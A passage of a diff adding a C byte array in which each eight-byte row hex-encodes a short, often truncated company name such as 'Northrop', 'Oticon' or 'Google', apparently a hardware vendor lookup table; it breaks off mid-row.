+0x4e, 0x6f, 0x72, 0x74, 0x68, 0x72, 0x6f, 0x70, +0x4e, 0x6f, 0x76, 0x65, 0x72, 0x61, 0x4f, 0x70, +0x49, 0x78, 0x73, 0x65, 0x61, 0x00, 0x00, 0x00, +0x4f, 0x63, 0x65, 0x61, 0x6e, 0x4f, 0x70, 0x74, +0x4f, 0x74, 0x69, 0x63, 0x6f, 0x6e, 0x00, 0x00, +0x45, 0x6c, 0x6d, 0x44, 0x61, 0x74, 0x61, 0x00, +0x41, 0x76, 0x69, 0x6e, 0x66, 0x6f, 0x00, 0x00, +0x43, 0x68, 0x61, 0x6e, 0x67, 0x73, 0x68, 0x75, +0x4a, 0x6f, 0x72, 0x6a, 0x69, 0x6e, 0x54, 0x65, +0x4a, 0x75, 0x72, 0x6f, 0x6e, 0x67, 0x48, 0x69, +0x54, 0x75, 0x72, 0x62, 0x6f, 0x63, 0x68, 0x65, +0x53, 0x6f, 0x66, 0x74, 0x44, 0x65, 0x76, 0x69, +0x53, 0x61, 0x74, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x46, 0x75, 0x6a, 0x69, 0x74, 0x73, 0x75, 0x54, +0x45, 0x64, 0x6f, 0x2d, 0x45, 0x76, 0x69, 0x00, +0x44, 0x69, 0x76, 0x65, 0x72, 0x73, 0x69, 0x66, +0x43, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x00, 0x00, +0x56, 0x69, 0x7a, 0x69, 0x6f, 0x00, 0x00, 0x00, +0x4e, 0x69, 0x66, 0x74, 0x79, 0x00, 0x00, 0x00, +0x44, 0x6b, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x69, 0x68, 0x6f, 0x6e, 0x44, 0x61, 0x74, +0x4f, 0x72, 0x64, 0x79, 0x6e, 0x54, 0x65, 0x63, +0x41, 0x73, 0x74, 0x65, 0x65, 0x6c, 0x45, 0x6c, +0x41, 0x75, 0x73, 0x74, 0x61, 0x72, 0x54, 0x65, +0x52, 0x61, 0x64, 0x61, 0x72, 0x66, 0x69, 0x6e, +0x49, 0x74, 0x75, 0x2d, 0x54, 0x00, 0x00, 0x00, +0x57, 0x69, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43, +0x52, 0x61, 0x79, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x47, 0x73, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, +0x42, 0x6f, 0x62, 0x73, 0x74, 0x53, 0x61, 0x00, +0x48, 0x6f, 0x70, 0x6c, 0x69, 0x6e, 0x67, 0x54, +0x52, 0x69, 0x67, 0x6f, 0x6c, 0x54, 0x65, 0x63, +0x48, 0x61, 0x6e, 0x79, 0x61, 0x6e, 0x67, 0x53, +0x41, 0x72, 0x72, 0x6f, 0x77, 0x37, 0x00, 0x00, +0x58, 0x79, 0x6e, 0x65, 0x74, 0x73, 0x6f, 0x66, +0x53, 0x74, 0x61, 0x6e, 0x66, 0x6f, 0x72, 0x64, +0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6c, 0x69, 0x6f, +0x46, 0x61, 0x6d, 0x61, 0x72, 0x46, 0x75, 0x65, +0x45, 0x75, 0x72, 0x6f, 0x45, 0x6d, 0x6d, 0x65, +0x42, 0x6f, 0x75, 0x6e, 0x64, 0x61, 0x72, 0x79, +0x50, 0x61, 0x72, 0x61, 0x64, 0x6f, 0x78, 0x53, +0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x6f, 0x43, +0x4e, 0x65, 0x77, 0x4d, 0x65, 0x64, 0x69, 0x61, +0x41, 0x6c, 0x74, 0x61, 0x69, 0x54, 0x65, 0x63, +0x43, 0x69, 0x74, 0x69, 0x77, 0x61, 0x79, 0x54, +0x45, 0x71, 0x75, 0x75, 0x73, 0x74, 0x65, 0x6b, +0x51, 0x75, 0x61, 0x6c, 0x69, 0x74, 0x72, 0x6f, +0x49, 0x6e, 0x66, 0x6f, 0x63, 0x72, 0x79, 0x70, +0x41, 0x6e, 0x79, 0x64, 0x61, 0x74, 0x61, 0x00, +0x53, 0x26, 0x43, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x42, 0x72, 0x6f, 0x61, 0x64, 0x61, 0x74, 0x61, +0x52, 0x63, 0x67, 0x48, 0x6b, 0x00, 0x00, 0x00, +0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x45, +0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, +0x53, 0x61, 0x6c, 0x69, 0x63, 0x72, 0x75, 0x53, +0x43, 0x61, 0x74, 0x68, 0x65, 0x78, 0x69, 0x73, +0x54, 0x72, 0x61, 0x6b, 0x4d, 0x69, 0x63, 0x72, +0x49, 0x63, 0x78, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x49, 0x70, 0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x61, +0x4c, 0x73, 0x43, 0x61, 0x62, 0x6c, 0x65, 0x41, +0x46, 0x6f, 0x72, 0x74, 0x75, 0x6e, 0x65, 0x74, +0x4d, 0x61, 0x78, 0x66, 0x6f, 0x72, 0x00, 0x00, +0x5a, 0x65, 0x75, 0x74, 0x73, 0x63, 0x68, 0x65, +0x57, 0x65, 0x6c, 0x6c, 0x74, 0x72, 0x61, 0x6e, +0x45, 0x6e, 0x65, 0x6e, 0x73, 0x79, 0x73, 0x54, +0x46, 0x65, 0x69, 0x2d, 0x5a, 0x79, 0x66, 0x65, +0x4d, 0x6f, 0x62, 0x69, 0x74, 0x65, 0x6b, 0x00, +0x4c, 0x79, 0x6e, 0x78, 0x53, 0x74, 0x75, 0x64, +0x54, 0x6f, 0x79, 0x6f, 0x4d, 0x65, 0x64, 0x69, +0x53, 0x2d, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, +0x54, 0x65, 0x72, 0x61, 0x6d, 0x61, 0x67, 0x65, +0x50, 0x79, 0x72, 0x6f, 0x6e, 0x69, 0x78, 0x00, +0x53, 0x61, 0x67, 0x61, 0x6d, 0x6f, 0x72, 0x65, +0x41, 0x78, 0x65, 0x73, 0x73, 0x74, 0x65, 0x6c, +0x43, 0x61, 0x72, 0x6c, 0x6f, 0x47, 0x61, 0x76, +0x55, 0x6e, 0x69, 0x6f, 0x6e, 0x6d, 0x61, 0x6e, +0x53, 0x74, 0x61, 0x72, 0x43, 0x6f, 0x6d, 0x6d, +0x54, 0x65, 0x72, 0x61, 0x64, 0x79, 0x6e, 0x65, +0x43, 0x65, 0x74, 0x69, 0x73, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x67, 0x65, +0x49, 0x6d, 0x61, 0x67, 0x69, 0x6e, 0x61, 0x74, +0x41, 0x63, 0x63, 0x6f, 0x6e, 0x65, 0x74, 0x50, +0x4f, 0x6e, 0x73, 0x65, 0x74, 0x43, 0x6f, 0x6d, +0x54, 0x64, 0x6b, 0x2d, 0x4c, 0x61, 0x6d, 0x62, +0x43, 0x61, 0x62, 0x6c, 0x65, 0x56, 0x69, 0x73, +0x42, 0x73, 0x6b, 0x79, 0x62, 0x00, 0x00, 0x00, +0x50, 0x74, 0x55, 0x66, 0x6f, 0x61, 0x6b, 0x73, +0x46, 0x69, 0x6e, 0x6e, 0x7a, 0x79, 0x6d, 0x65, +0x53, 0x6d, 0x69, 0x74, 0x68, 0x73, 0x4d, 0x65, +0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x43, 0x61, +0x41, 0x6e, 0x67, 0x65, 0x6c, 0x45, 0x6c, 0x65, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x61, 0x79, 0x53, +0x4f, 0x70, 0x74, 0x69, 0x62, 0x61, 0x73, 0x65, +0x4f, 0x70, 0x76, 0x69, 0x73, 0x74, 0x61, 0x00, +0x41, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x74, 0x56, +0x53, 0x69, 0x6d, 0x6f, 0x63, 0x6f, 0x00, 0x00, +0x57, 0x61, 0x79, 0x66, 0x61, 0x72, 0x65, 0x72, +0x42, 0x6f, 0x6e, 0x61, 0x54, 0x65, 0x63, 0x68, +0x53, 0x77, 0x65, 0x2d, 0x44, 0x69, 0x73, 0x68, +0x48, 0x61, 0x6e, 0x64, 0x68, 0x65, 0x6c, 0x64, +0x43, 0x68, 0x65, 0x6e, 0x67, 0x55, 0x65, 0x69, +0x53, 0x69, 0x73, 0x74, 0x65, 0x6d, 0x61, 0x73, +0x4c, 0x75, 0x63, 0x65, 0x6e, 0x74, 0x54, 0x72, +0x47, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x00, 0x00, +0x45, 0x73, 0x73, 0x69, 0x6c, 0x6f, 0x72, 0x00, +0x57, 0x61, 0x6e, 0x6c, 0x69, 0x64, 0x61, 0x47, +0x58, 0x69, 0x6e, 0x48, 0x75, 0x61, 0x43, 0x6f, +0x47, 0x65, 0x6d, 0x61, 0x6c, 0x74, 0x6f, 0x45, +0x54, 0x65, 0x61, 0x6b, 0x54, 0x65, 0x63, 0x68, +0x47, 0x65, 0x6e, 0x74, 0x65, 0x78, 0x43, 0x6f, +0x47, 0x74, 0x26, 0x54, 0x45, 0x6e, 0x67, 0x69, +0x50, 0x63, 0x68, 0x6f, 0x6d, 0x65, 0x4f, 0x6e, +0x43, 0x6f, 0x61, 0x73, 0x74, 0x61, 0x6c, 0x45, +0x43, 0x6d, 0x6f, 0x74, 0x65, 0x63, 0x68, 0x00, +0x42, 0x72, 0x6f, 0x6f, 0x6b, 0x68, 0x75, 0x69, +0x45, 0x71, 0x2d, 0x33, 0x45, 0x6e, 0x74, 0x77, +0x49, 0x63, 0x65, 0x51, 0x75, 0x62, 0x65, 0x00, +0x47, 0x61, 0x6c, 0x61, 0x78, 0x79, 0x54, 0x65, +0x44, 0x65, 0x6c, 0x74, 0x61, 0x44, 0x6f, 0x72, +0x44, 0x65, 0x6c, 0x74, 0x61, 0x6e, 0x6f, 0x64, +0x55, 0x62, 0x69, 0x73, 0x74, 0x61, 0x72, 0x00, +0x41, 0x73, 0x77, 0x74, 0x54, 0x61, 0x69, 0x77, +0x4a, 0x6f, 0x68, 0x6e, 0x73, 0x6f, 0x6e, 0x4f, +0x41, 0x79, 0x65, 0x63, 0x6f, 0x6d, 0x54, 0x65, +0x4e, 0x61, 0x76, 0x76, 0x6f, 0x47, 0x72, 0x6f, +0x5a, 0x69, 0x6f, 0x76, 0x61, 0x43, 0x6f, 0x70, +0x53, 0x63, 0x61, 0x6e, 0x43, 0x6f, 0x69, 0x6e, +0x41, 0x63, 0x74, 0x69, 0x76, 0x61, 0x4d, 0x75, +0x41, 0x73, 0x69, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x4b, 0x6f, 0x6e, 0x6b, 0x61, 0x47, 0x72, 0x6f, +0x42, 0x61, 0x72, 0x74, 0x65, 0x63, 0x00, 0x00, +0x41, 0x69, 0x70, 0x65, 0x72, 0x6d, 0x6f, 0x6e, +0x4c, 0x65, 0x61, 0x72, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x65, 0x72, 0x74, 0x65, 0x6e, 0x47, 0x6d, +0x44, 0x6f, 0x6e, 0x67, 0x61, 0x68, 0x65, 0x6c, +0x44, 0x6f, 0x61, 0x68, 0x45, 0x6c, 0x65, 0x63, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x77, 0x61, +0x41, 0x6a, 0x69, 0x6e, 0x56, 0x69, 0x73, 0x69, +0x46, 0x61, 0x73, 0x74, 0x65, 0x72, 0x54, 0x65, +0x49, 0x6e, 0x74, 0x65, 0x6c, 0x62, 0x72, 0x61, +0x41, 0x2d, 0x46, 0x6f, 0x75, 0x72, 0x54, 0x65, +0x49, 0x6e, 0x6f, 0x63, 0x6f, 0x76, 0x61, 0x00, +0x54, 0x65, 0x63, 0x68, 0x63, 0x69, 0x74, 0x79, +0x4c, 0x6f, 0x67, 0x69, 0x63, 0x61, 0x6c, 0x4c, +0x4a, 0x77, 0x74, 0x72, 0x61, 0x64, 0x69, 0x6e, +0x41, 0x67, 0x61, 0x6d, 0x69, 0x00, 0x00, 0x00, +0x54, 0x61, 0x6b, 0x61, 0x63, 0x6f, 0x6d, 0x00, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x56, 0x69, 0x73, +0x51, 0x75, 0x6d, 0x72, 0x61, 0x6e, 0x65, 0x74, +0x43, 0x72, 0x6f, 0x73, 0x73, 0x62, 0x6f, 0x77, +0x4e, 0x74, 0x69, 0x2f, 0x4c, 0x69, 0x6e, 0x6d, +0x50, 0x68, 0x65, 0x65, 0x6e, 0x65, 0x74, 0x54, +0x41, 0x6c, 0x66, 0x72, 0x65, 0x64, 0x4d, 0x61, +0x4d, 0x65, 0x73, 0x68, 0x6c, 0x69, 0x6e, 0x78, +0x5a, 0x79, 0x6c, 0x61, 0x79, 0x61, 0x00, 0x00, +0x48, 0x69, 0x70, 0x53, 0x68, 0x69, 0x6e, 0x67, +0x41, 0x63, 0x61, 0x2d, 0x44, 0x69, 0x67, 0x69, +0x56, 0x69, 0x65, 0x77, 0x74, 0x65, 0x6c, 0x00, +0x4d, 0x61, 0x74, 0x72, 0x69, 0x78, 0x44, 0x65, +0x49, 0x72, 0x63, 0x6f, 0x6e, 0x61, 0x00, 0x00, +0x4b, 0x6f, 0x72, 0x65, 0x61, 0x45, 0x6c, 0x65, +0x4e, 0x65, 0x74, 0x63, 0x61, 0x72, 0x65, 0x53, +0x45, 0x75, 0x63, 0x68, 0x6e, 0x65, 0x72, 0x47, +0x4d, 0x6f, 0x62, 0x69, 0x6e, 0x6e, 0x6f, 0x76, +0x54, 0x68, 0x69, 0x6e, 0x63, 0x6f, 0x6d, 0x54, +0x4b, 0x69, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x73, +0x57, 0x61, 0x76, 0x65, 0x45, 0x6c, 0x65, 0x63, +0x50, 0x61, 0x63, 0x73, 0x74, 0x61, 0x72, 0x00, +0x44, 0x61, 0x74, 0x61, 0x52, 0x6f, 0x62, 0x6f, +0x45, 0x6c, 0x73, 0x74, 0x65, 0x72, 0x53, 0x6f, +0x53, 0x65, 0x6c, 0x75, 0x78, 0x69, 0x74, 0x00, +0x57, 0x65, 0x6c, 0x74, 0x65, 0x63, 0x45, 0x6e, +0x57, 0x75, 0x68, 0x61, 0x6e, 0x59, 0x61, 0x6e, +0x54, 0x72, 0x61, 0x6e, 0x7a, 0x61, 0x73, 0x00, +0x49, 0x6d, 0x70, 0x72, 0x6f, 0x54, 0x65, 0x63, +0x4d, 0x69, 0x54, 0x65, 0x6c, 0x53, 0x52, 0x4c, +0x44, 0x69, 0x6f, 0x73, 0x74, 0x65, 0x63, 0x68, +0x4d, 0x6f, 0x73, 0x61, 0x72, 0x74, 0x53, 0x65, +0x50, 0x72, 0x6f, 0x63, 0x61, 0x72, 0x65, 0x49, +0x53, 0x64, 0x74, 0x49, 0x6e, 0x66, 0x6f, 0x72, +0x55, 0x62, 0x74, 0x6f, 0x73, 0x00, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f, 0x6d, 0x75, +0x4c, 0x69, 0x73, 0x6d, 0x6f, 0x72, 0x65, 0x49, +0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f, 0x00, 0x00, +0x48, 0x69, 0x72, 0x73, 0x63, 0x68, 0x6d, 0x61, +0x43, 0x79, 0x62, 0x65, 0x72, 0x2d, 0x42, 0x6c, +0x4c, 0x6e, 0x53, 0x72, 0x69, 0x74, 0x68, 0x61, +0x47, 0x63, 0x69, 0x53, 0x63, 0x69, 0x65, 0x6e, +0x5a, 0x65, 0x6c, 0x61, 0x78, 0x00, 0x00, 0x00, +0x50, 0x72, 0x6f, 0x62, 0x61, 0x42, 0x75, 0x69, +0x50, 0x65, 0x67, 0x61, 0x73, 0x75, 0x73, 0x54, +0x56, 0x4f, 0x6e, 0x65, 0x4d, 0x75, 0x6c, 0x74, +0x4e, 0x76, 0x4d, 0x69, 0x63, 0x68, 0x65, 0x6c, +0x43, 0x61, 0x6e, 0x68, 0x6f, 0x6c, 0x64, 0x49, +0x56, 0x65, 0x6e, 0x65, 0x72, 0x67, 0x79, 0x00, +0x43, 0x68, 0x75, 0x6e, 0x69, 0x6c, 0x45, 0x6c, +0x53, 0x6f, 0x70, 0x68, 0x6f, 0x73, 0x00, 0x00, +0x41, 0x76, 0x65, 0x63, 0x73, 0x42, 0x65, 0x72, +0x33, 0x77, 0x61, 0x79, 0x4e, 0x65, 0x74, 0x77, +0x54, 0x72, 0x70, 0x69, 0x63, 0x6f, 0x53, 0x00, +0x46, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x64, 0x79, +0x45, 0x72, 0x63, 0x6f, 0x4c, 0x65, 0x75, 0x63, +0x56, 0x6f, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x63, +0x48, 0x69, 0x73, 0x65, 0x6e, 0x73, 0x65, 0x4d, +0x45, 0x63, 0x6c, 0x65, 0x72, 0x53, 0x41, 0x00, +0x46, 0x69, 0x74, 0x69, 0x76, 0x69, 0x73, 0x69, +0x41, 0x73, 0x6f, 0x74, 0x65, 0x6c, 0x43, 0x6f, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x79, 0x48, 0x7a, +0x41, 0x64, 0x65, 0x63, 0x50, 0x61, 0x72, 0x74, +0x52, 0x69, 0x67, 0x68, 0x74, 0x68, 0x61, 0x6e, +0x53, 0x6b, 0x69, 0x70, 0x70, 0x65, 0x72, 0x57, +0x49, 0x63, 0x6f, 0x6e, 0x44, 0x69, 0x67, 0x69, +0x41, 0x2d, 0x4c, 0x69, 0x6e, 0x6b, 0x00, 0x00, +0x44, 0x65, 0x6c, 0x6f, 0x72, 0x6d, 0x65, 0x00, +0x46, 0x75, 0x74, 0x75, 0x72, 0x65, 0x55, 0x6e, +0x42, 0x72, 0x6e, 0x50, 0x68, 0x6f, 0x65, 0x6e, +0x54, 0x65, 0x6c, 0x65, 0x66, 0x75, 0x6e, 0x6b, +0x54, 0x6f, 0x72, 0x69, 0x61, 0x6e, 0x57, 0x69, +0x4d, 0x61, 0x6d, 0x69, 0x79, 0x61, 0x44, 0x69, +0x41, 0x6e, 0x61, 0x6c, 0x6f, 0x67, 0x69, 0x63, +0x45, 0x77, 0x69, 0x6e, 0x67, 0x73, 0x53, 0x52, +0x43, 0x6f, 0x72, 0x65, 0x6c, 0x61, 0x74, 0x75, +0x53, 0x61, 0x76, 0x61, 0x6e, 0x74, 0x4c, 0x6c, +0x42, 0x6c, 0x75, 0x73, 0x65, 0x6e, 0x73, 0x54, +0x53, 0x69, 0x67, 0x6e, 0x61, 0x6c, 0x4e, 0x65, +0x43, 0x79, 0x62, 0x65, 0x72, 0x53, 0x6f, 0x6c, +0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x74, +0x46, 0x66, 0x65, 0x69, 0x00, 0x00, 0x00, 0x00, +0x48, 0x6f, 0x6d, 0x65, 0x4e, 0x65, 0x74, 0x77, +0x45, 0x74, 0x68, 0x6f, 0x73, 0x4e, 0x65, 0x74, +0x41, 0x6e, 0x73, 0x65, 0x72, 0x69, 0x00, 0x00, +0x50, 0x6d, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x43, 0x61, 0x74, 0x6f, 0x6e, 0x4f, 0x76, 0x65, +0x46, 0x6f, 0x6e, 0x74, 0x61, 0x6c, 0x54, 0x65, +0x49, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x63, 0x61, +0x54, 0x72, 0x75, 0x6d, 0x70, 0x66, 0x4c, 0x61, +0x4a, 0x6f, 0x79, 0x62, 0x69, 0x65, 0x6e, 0x54, +0x59, 0x65, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x42, 0x72, 0x65, 0x61, 0x6b, 0x69, 0x6e, 0x67, +0x55, 0x6e, 0x69, 0x70, 0x6f, 0x69, 0x6e, 0x74, +0x49, 0x73, 0x6c, 0x49, 0x6e, 0x73, 0x74, 0x72, +0x53, 0x75, 0x7a, 0x75, 0x6b, 0x65, 0x6e, 0x00, +0x54, 0x69, 0x6c, 0x65, 0x72, 0x61, 0x00, 0x00, +0x41, 0x75, 0x74, 0x6f, 0x63, 0x6f, 0x6d, 0x50, +0x43, 0x65, 0x6c, 0x65, 0x73, 0x74, 0x69, 0x61, +0x54, 0x69, 0x64, 0x65, 0x6c, 0x45, 0x6e, 0x67, +0x59, 0x75, 0x70, 0x69, 0x74, 0x65, 0x72, 0x75, +0x43, 0x54, 0x45, 0x6c, 0x65, 0x74, 0x74, 0x72, +0x41, 0x6c, 0x62, 0x69, 0x73, 0x54, 0x65, 0x63, +0x46, 0x61, 0x72, 0x67, 0x6f, 0x00, 0x00, 0x00, +0x45, 0x6c, 0x65, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x56, 0x61, 0x6d, 0x70, 0x00, 0x00, 0x00, 0x00, +0x49, 0x70, 0x6f, 0x78, 0x54, 0x65, 0x63, 0x68, +0x4b, 0x6d, 0x63, 0x43, 0x68, 0x61, 0x69, 0x6e, +0x4a, 0x69, 0x61, 0x67, 0x6e, 0x73, 0x75, 0x41, +0x43, 0x68, 0x72, 0x69, 0x73, 0x74, 0x69, 0x65, +0x41, 0x6c, 0x73, 0x74, 0x65, 0x72, 0x61, 0x65, +0x42, 0x69, 0x7a, 0x2d, 0x32, 0x2d, 0x4d, 0x65, +0x50, 0x65, 0x70, 0x77, 0x61, 0x76, 0x65, 0x00, +0x4d, 0x79, 0x74, 0x68, 0x6f, 0x6c, 0x6f, 0x67, +0x45, 0x64, 0x67, 0x65, 0x41, 0x63, 0x63, 0x65, +0x4d, 0x65, 0x64, 0x69, 0x63, 0x69, 0x73, 0x54, +0x4d, 0x76, 0x6f, 0x78, 0x54, 0x65, 0x63, 0x68, +0x41, 0x74, 0x6c, 0x61, 0x6e, 0x74, 0x61, 0x41, +0x41, 0x7a, 0x74, 0x65, 0x6b, 0x4e, 0x65, 0x74, +0x55, 0x6e, 0x69, 0x66, 0x79, 0x53, 0x6f, 0x66, +0x52, 0x61, 0x64, 0x69, 0x6f, 0x54, 0x65, 0x72, +0x4b, 0x65, 0x75, 0x6d, 0x62, 0x65, 0x65, 0x45, +0x49, 0x6e, 0x63, 0x6f, 0x74, 0x65, 0x63, 0x00, +0x53, 0x68, 0x65, 0x6e, 0x7a, 0x74, 0x65, 0x63, +0x4c, 0x6f, 0x6f, 0x70, 0x63, 0x6f, 0x6d, 0x6d, +0x44, 0x79, 0x6e, 0x61, 0x76, 0x69, 0x73, 0x69, +0x53, 0x61, 0x6d, 0x79, 0x6f, 0x75, 0x6e, 0x67, +0x48, 0x61, 0x6e, 0x64, 0x72, 0x65, 0x61, 0x6d, +0x50, 0x65, 0x6e, 0x74, 0x61, 0x6f, 0x6e, 0x65, +0x57, 0x6f, 0x76, 0x65, 0x6e, 0x00, 0x00, 0x00, +0x44, 0x61, 0x74, 0x61, 0x73, 0x63, 0x68, 0x61, +0x43, 0x6f, 0x70, 0x6c, 0x65, 0x79, 0x43, 0x6f, +0x41, 0x65, 0x72, 0x6f, 0x76, 0x69, 0x72, 0x6f, +0x57, 0x65, 0x6c, 0x63, 0x68, 0x41, 0x6c, 0x6c, +0x4a, 0x6f, 0x62, 0x79, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x6f, 0x64, 0x75, 0x73, 0x6c, 0x69, 0x6e, +0x45, 0x76, 0x6f, 0x6c, 0x69, 0x73, 0x00, 0x00, +0x53, 0x6f, 0x66, 0x61, 0x63, 0x72, 0x65, 0x61, +0x57, 0x69, 0x7a, 0x79, 0x6f, 0x75, 0x6e, 0x67, +0x4e, 0x65, 0x6f, 0x70, 0x6f, 0x73, 0x74, 0x54, +0x41, 0x70, 0x70, 0x6c, 0x69, 0x65, 0x64, 0x52, +0x45, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x65, +0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, +0x59, 0x6d, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x74, 0x65, 0x6c, 0x69, 0x65, 0x72, 0x73, +0x4d, 0x65, 0x6e, 0x64, 0x6f, 0x63, 0x69, 0x6e, +0x44, 0x61, 0x6e, 0x66, 0x6f, 0x73, 0x73, 0x44, +0x4d, 0x61, 0x74, 0x72, 0x69, 0x78, 0x54, 0x65, +0x50, 0x68, 0x69, 0x64, 0x67, 0x65, 0x74, 0x73, +0x49, 0x6e, 0x6f, 0x74, 0x65, 0x63, 0x4f, 0x72, +0x50, 0x65, 0x74, 0x72, 0x61, 0x74, 0x65, 0x63, +0x41, 0x70, 0x70, 0x72, 0x69, 0x6f, 0x6e, 0x00, +0x49, 0x63, 0x72, 0x6f, 0x6e, 0x54, 0x65, 0x63, +0x43, 0x61, 0x72, 0x65, 0x78, 0x4c, 0x69, 0x67, +0x56, 0x6f, 0x78, 0x74, 0x65, 0x6c, 0x00, 0x00, +0x43, 0x65, 0x6c, 0x74, 0x72, 0x6f, 0x00, 0x00, +0x50, 0x61, 0x6c, 0x6f, 0x41, 0x6c, 0x74, 0x6f, +0x54, 0x73, 0x75, 0x6b, 0x65, 0x6e, 0x45, 0x6c, +0x49, 0x65, 0x65, 0x65, 0x49, 0x26, 0x4d, 0x53, +0x45, 0x2d, 0x54, 0x72, 0x65, 0x65, 0x73, 0x4a, +0x50, 0x68, 0x6f, 0x65, 0x6e, 0x69, 0x78, 0x49, +0x48, 0x61, 0x72, 0x74, 0x43, 0x6f, 0x6d, 0x6d, +0x44, 0x65, 0x6c, 0x74, 0x61, 0x2d, 0x44, 0x61, +0x54, 0x70, 0x69, 0x6e, 0x65, 0x54, 0x65, 0x63, +0x50, 0x61, 0x6c, 0x69, 0x74, 0x4d, 0x69, 0x63, +0x53, 0x69, 0x6d, 0x70, 0x6c, 0x65, 0x63, 0x6f, +0x52, 0x6f, 0x6e, 0x2d, 0x54, 0x65, 0x6c, 0x65, +0x4d, 0x65, 0x72, 0x6c, 0x69, 0x6e, 0x43, 0x73, +0x50, 0x6f, 0x6c, 0x79, 0x67, 0x6f, 0x6e, 0x4a, +0x41, 0x76, 0x61, 0x6e, 0x74, 0x69, 0x73, 0x00, +0x41, 0x74, 0x72, 0x6f, 0x6e, 0x45, 0x6c, 0x65, +0x4d, 0x65, 0x64, 0x2d, 0x45, 0x6e, 0x67, 0x00, +0x53, 0x69, 0x6e, 0x6b, 0x79, 0x6f, 0x45, 0x6c, +0x53, 0x6f, 0x6c, 0x69, 0x74, 0x65, 0x63, 0x68, +0x4e, 0x65, 0x75, 0x72, 0x61, 0x6c, 0x49, 0x6d, +0x46, 0x6f, 0x63, 0x75, 0x73, 0x53, 0x79, 0x73, +0x43, 0x68, 0x6f, 0x6e, 0x67, 0x71, 0x69, 0x6e, +0x54, 0x73, 0x75, 0x62, 0x61, 0x74, 0x61, 0x45, +0x43, 0x6f, 0x6d, 0x70, 0x75, 0x74, 0x65, 0x63, +0x43, 0x6f, 0x6d, 0x70, 0x61, 0x6c, 0x49, 0x6e, +0x50, 0x72, 0x6f, 0x78, 0x69, 0x63, 0x61, 0x73, +0x53, 0x69, 0x6d, 0x73, 0x00, 0x00, 0x00, 0x00, +0x59, 0x69, 0x2d, 0x51, 0x69, 0x6e, 0x67, 0x00, +0x53, 0x6f, 0x66, 0x74, 0x77, 0x61, 0x72, 0x65, +0x45, 0x75, 0x72, 0x6f, 0x74, 0x65, 0x6c, 0x00, +0x43, 0x75, 0x72, 0x74, 0x69, 0x73, 0x00, 0x00, +0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x41, +0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x6c, 0x49, +0x57, 0x69, 0x73, 0x65, 0x42, 0x6c, 0x75, 0x65, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x44, +0x53, 0x61, 0x6e, 0x64, 0x69, 0x73, 0x6b, 0x00, +0x41, 0x62, 0x62, 0x41, 0x73, 0x44, 0x69, 0x76, +0x42, 0x6c, 0x75, 0x65, 0x6f, 0x6e, 0x65, 0x54, +0x46, 0x75, 0x74, 0x61, 0x72, 0x71, 0x75, 0x65, +0x52, 0x6f, 0x62, 0x65, 0x72, 0x74, 0x73, 0x52, +0x57, 0x26, 0x57, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x53, 0x61, 0x6e, 0x69, 0x6f, 0x6e, 0x00, 0x00, +0x53, 0x69, 0x67, 0x6e, 0x74, 0x65, 0x63, 0x68, +0x41, 0x72, 0x65, 0x63, 0x61, 0x54, 0x65, 0x63, +0x4e, 0x61, 0x76, 0x6d, 0x61, 0x6e, 0x4e, 0x65, +0x4e, 0x69, 0x7a, 0x68, 0x6e, 0x79, 0x4e, 0x6f, +0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x54, 0x65, +0x48, 0x75, 0x72, 0x63, 0x6f, 0x41, 0x75, 0x74, +0x54, 0x65, 0x68, 0x75, 0x74, 0x69, 0x4e, 0x65, +0x53, 0x65, 0x6d, 0x69, 0x6e, 0x64, 0x69, 0x61, +0x41, 0x63, 0x65, 0x43, 0x61, 0x64, 0x45, 0x6e, +0x41, 0x70, 0x6f, 0x6c, 0x6c, 0x6f, 0x49, 0x6d, +0x41, 0x7a, 0x75, 0x72, 0x65, 0x74, 0x65, 0x63, +0x56, 0x6f, 0x6c, 0x6f, 0x6c, 0x69, 0x6e, 0x6b, +0x42, 0x70, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x6c, 0x69, 0x65, 0x6e, 0x54, 